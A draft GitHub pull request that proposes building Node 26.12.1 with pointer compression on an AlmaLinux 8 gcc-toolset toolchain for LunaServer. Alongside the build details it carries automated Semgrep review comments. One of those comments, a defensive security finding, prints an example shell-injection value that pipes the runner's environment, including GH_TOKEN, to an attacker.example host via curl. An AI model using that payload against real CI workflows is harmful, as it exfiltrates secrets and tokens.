Skip to content

Node 26.12.1 build (RHEL 8 toolchain) for post-Fiber Elimination LunaServer - #31

Draft
jrsells wants to merge 2 commits into
v26.12.1from
jrsells/node-v26.12.1-rhel8
Draft

jrsells wants to merge 2 commits into
v26.12.1from
jrsells/node-v26.12.1-rhel8

Conversation

@jrsells

@jrsells jrsells commented Oct 26, 2026 •

Copy link
Copy Markdown

Summary

A prototype of Asana's Node.js 26.12.1 build for LunaServer after Fiber Elimination. It's the Node 26 counterpart of #30 (Node 24.22.1) and uses the same approach: no Node or V8 source changes, just builds with V8 pointer compression, which upstream release binaries don't include.

The base branch v26.12.1 is exactly upstream v26.12.1 (bc2e01dcf6).

The toolchain problem, and how this avoids it

Node 26 requires GCC ≥ 13.2 or Clang ≥ 19.1. A plain GCC 13 build links against libstdc++'s GLIBCXX_3.4.31 and newer. Those versions aren't available on the Ubuntu 22.04 sandboxes and EngFlow remote-execution workers that run LunaServer's Node toolchain in tests.

Upstream has the same problem and solves it in its official binaries, which are built on RHEL 8 with gcc-toolset and need only glibc ≥ 2.28 and GLIBCXX_3.4.25. gcc-toolset links the parts of libstdc++ that are newer than RHEL 8's system GCC 8 runtime statically into the binary. This PR builds the same way, on AlmaLinux 8 with gcc-toolset-14. That requires:

  • no upgrade to the RBE or sandbox OS;
  • no static linking of the whole of libstdc++;
  • no older compiler.

New runtime requirement: like upstream's binaries for Node 25 and later, this binary needs the libatomic runtime.

  • Ubuntu 22.04 RBE workers already have it, through build-essential.
  • The LunaServer Wolfi images (asana2/tools/build_rules/rules_apko/lunaserver/base*.apko.yaml) need libatomic added.

What's in it

  • Dockerfile.Node26
    • AlmaLinux 8 with gcc-toolset-14, Python 3.12, and Rust (stable, through rustup).
    • Configured with --experimental-enable-pointer-compression --v8-enable-temporal-support.
    • Temporal is built from the vendored deps/crates, as in official builds.
  • Dockerfile.Node26fips
    • Same as the standard build, plus --shared-openssl against OpenSSL 3.0.22 built from source (pinned SHA-256), because RHEL 8's system OpenSSL is 1.1.1.
    • OpenSSL 3.0.x exports everything under the OPENSSL_3.0.0 symbol version, so the binary uses the runtime libssl.so.3: Ubuntu's 3.0.2 or Wolfi's 3.6 and its FIPS provider.
    • The only libcrypto exports 3.0.22 adds over 3.0.2 are OPENSSL_str[n]casecmp and two CMP functions. Node uses none of them.
  • Dockerfile.Packages
    • The same RHEL 8 toolchain.
    • Versions are ARGs, and the workflow reads them to name the store directories.
    • @datadog/pprof moves to 5.15.1: 5.8.0, which codez's dd-trace 5.53.0 pins, has no Node 26 build.
      5.16.0 and later add otel-thread-ctx.cc, which static_asserts that V8 was built without pointer compression, so they don't compile against our headers.
    • Our binary is installed into build/Release/, which node-gyp-build checks first, and also over any stock prebuild for this ABI.
  • Workflows, asana-verify-build.sh, asana-smoke-test.js and stage_for_s3.bash are as in Node 24.22.1 build for post-Fiber Elimination LunaServer #30, with these Node 26 additions:
    • The smoke tests run with LD_BIND_NOW=1, so a missing library symbol fails immediately instead of at first call.
    • FIPS builds must need nothing newer than OPENSSL_3.0.0.
    • libatomic is installed in the test containers when the binary needs it.
    • The expected Node major version is read from src/node_version.h.

Extra codez work for 26, on top of #30's list

  1. The current builds don't link libatomic (it isn't in NEEDED), so the apko images don't need it yet. The verify script will catch it if that changes.
  2. Upgrade dd-trace to 5.110.x–5.116.x, which pin @datadog/pprof 5.15.1 and match the packages tarball's @datadog+pprof@5.15.1 directory. A pnpm override to 5.15.1 also works.
    Newer dd-trace releases pin pprof 5.17+. Getting onto those needs either a small patch that compiles out otel-thread-ctx on pointer-compressed builds or an upstream fix from Datadog.
  3. Republish the custom @confluentinc/kafka-javascript tarball with ABI 147 binaries. It only has 127 and 137.
  4. Patch or override buffer-equal-constant-time (via jwa/jws). It calls SlowBuffer, which is removed in 26, when it loads, which breaks jsonwebtoken, google-auth-library, @google/genai, @ai-sdk/google-vertex and botbuilder-core.
  5. garbage_collection_reporter.ts: entry.kind/entry.flags are undefined on 26. Use entry.detail.kind and entry.detail.flags.
  6. Add --no-experimental-webstorage. Otherwise global.window = global in amd_bootstrap.js makes the new localStorage global print an ExperimentalWarning.
  7. process.binding gives a runtime deprecation warning (DEP0111). The only call goes away with fiber_elimination_utils.ts.

Status

This is a prototype to show the toolchain works. If it builds and passes verification, the same RHEL 8 setup would also give #30 more headroom: that build sits at exactly GLIBCXX_3.4.30, Ubuntu 22.04's ceiling.

Standard and FIPS builds configured with
--experimental-enable-pointer-compression (multi-cage, V8 sandbox off)
and Temporal support, with no Node or V8 source changes.

Node 26 needs GCC >= 13.2, newer than Ubuntu 22.04's libstdc++ (the
sandbox and remote-execution hosts). Like the official release
binaries, these build on RHEL 8 (AlmaLinux 8) with gcc-toolset-14,
which keeps the runtime requirements at glibc 2.28, GLIBCXX_3.4.25 and
libatomic. The FIPS build compiles against OpenSSL 3.0 LTS built from
source and links against the system libssl.so.3 at runtime.

Each build is verified before it is published: symbol versions must be
available on Ubuntu 22.04, and asana-smoke-test.js must pass with
LD_BIND_NOW=1 on stock Ubuntu 22.04 and on Wolfi.

Native packages are rebuilt with the same toolchain; @datadog/pprof
moves to 5.20.0, the first line with Node 26 (ABI 147) support.

Co-authored-by: Cursor <cursoragent@cursor.com>
Comment on lines +64 to +66
run: |
docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} .

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 High severity blocking issue identified in your code:

The untrusted inputs.DOCKER_FILE value is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrate GH_TOKEN or modify build artifacts.

More details about this

inputs.DOCKER_FILE is interpolated directly into the shell script that runs docker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.

For example, a malicious input such as:

Dockerfile; env | curl -X POST --data-binary @- https://attacker.example/collect #

turns the step into commands equivalent to:

docker build -t node_fips_build -f ./Dockerfile

env | curl -X POST --data-binary @- https://attacker.example/collect

The injected command executes on the GitHub runner with the workflow environment, including GH_TOKEN from secrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived by Upload Node archive.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} .
env:
DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
run: |
docker build -t node_fips_build -f "./$DOCKER_FILE" .
View step-by-step instructions
  1. Add the input to the step’s env: block instead of interpolating it directly in the shell script:
    env:
      DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
  2. Replace the direct GitHub expression with the quoted environment variable:
    run: |
      docker build -t node_fips_build -f "./$DOCKER_FILE" .
  3. Keep the working-directory: node setting so the Dockerfile path remains relative to the checked-out Node source. Quoting "$DOCKER_FILE" prevents input characters from being interpreted as shell syntax.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

@semgrep-code-asana

Copy link
Copy Markdown

Semgrep found 8 github-actions-mutable-action-tag findings:

🟡 Medium severity issue identified in your code:

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

Please reach out to Security (go/sec-inbox) if you need help with this.

Co-authored-by: Cursor <cursoragent@cursor.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

1 participant